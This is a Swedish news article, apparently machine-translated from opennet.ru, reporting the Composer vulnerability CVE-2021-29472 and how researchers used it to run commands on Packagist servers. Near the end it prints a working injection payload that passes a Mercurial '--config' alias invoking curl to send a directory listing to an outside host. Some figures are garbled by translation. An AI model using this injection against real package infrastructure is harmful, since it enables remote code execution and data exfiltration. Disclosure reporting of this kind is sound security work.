Sårbarhet i Composer-pakethanteraren som gör att Packagist PHP-förvaret kan äventyras

En kritisk sårbarhet (CVE-2021-29472) har identifierats i Composer-beroendehanteraren som tillåter att godtyckliga kommandon körs på systemet vid bearbetning av ett paket med ett speciellt formaterat URL-värde som anger adressen för nedladdning av källkoden. Problemet uppstår i GitDriver-, SvnDriver- och HgDriver-komponenterna som används när man använder Git, Subversion och Mercurial källkontrollsystem. Sårbarheten löstes i Composer-versionerna 1.10.22 och 2.0.13.

Det noteras specifikt att problemet främst påverkade Composers standardpaketförråd, Packagist, som innehåller 306 1.4 paket för PHP-utvecklare och betjänar mer än XNUMX miljarder nedladdningar per månad. Experimentet visade att om det fanns kunskap om problemet, kunde angripare få kontroll över Packagist-infrastrukturen och fånga upp användaruppgifterna för underhållare eller omdirigera paketnedladdningar till en tredjepartsserver, organisera leveransen av paketvarianter med skadliga ändringar för att ersätta en bakdörr under beroendeinstallationsprocessen.

Faran för slutanvändare är begränsad till det faktum att innehållet i composer.json vanligtvis bestäms av användaren, och källlänkar överförs vid åtkomst till tredjepartsförråd, som vanligtvis är pålitliga. Det största slaget föll på Packagist.org-förvaret och tjänsten Private Packagist, som anropade Composer med överföringen av data som tagits emot från användare. Angripare kunde exekvera sin kod på Packagist-servrar genom att placera ett specialdesignat paket.

Packagist-teamet åtgärdade sårbarheten inom 12 timmar efter att sårbarheten rapporterades. Forskarna meddelade Packagist-utvecklarna privat den 22 april och problemet åtgärdades samma dag. En offentlig uppdatering till Composer som åtgärdar sårbarheten publicerades den 27 april, med detaljer som avslöjades den 28 april. En granskning av loggar på Packagist-servrar avslöjade inte någon misstänkt aktivitet relaterad till sårbarheten.

Problemet orsakas av en bugg i URL-valideringskoden i root-filen composer.json och källnedladdningslänkar. Felet har funnits i koden sedan november 2011. Packagist använder speciella lager för att organisera kodladdning utan att vara bunden till ett specifikt källkontrollsystem, vilka exekveras genom att anropa "fromShellCommandline" och skicka kommandoradsargument. Till exempel, för git, anropas kommandot "git ls-remote -heads $URL", där URL:en bearbetas med metoden "ProcessExecutor::escape($url)", som undviker potentiellt farliga konstruktioner som "$(. ..)" eller "` ...`".

Kärnan i problemet är att ProcessExecutor::escape-metoden inte undkom "—"-sekvensen, vilket gjorde att ytterligare anropsparametrar kunde specificeras i URL:en. Sådan flykt saknades i drivrutinerna GitDriver.php, SvnDriver.php och HgDriver.php. GitDriver.php-attacken hämmades av det faktum att kommandot “git ls-remote” inte stödde att specificera ytterligare argument efter sökvägen. En attack på HgDriver.php visade sig vara möjlig genom att skicka parametern "--config" till verktyget "hq", som låter dig organisera exekveringen av vilket kommando som helst genom att manipulera inställningen "alias.identify". För att till exempel ladda ner och köra kod genom att köra curl-verktyget kan du ange: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Genom att posta ett testpaket med en liknande URL till Packagist, verifierade forskarna att efter postningen fick deras server en HTTP-förfrågan från en av Packagist-servrarna i AWS som innehåller en lista över filer i den aktuella katalogen.

Källa: opennet.ru

Lägg en kommentar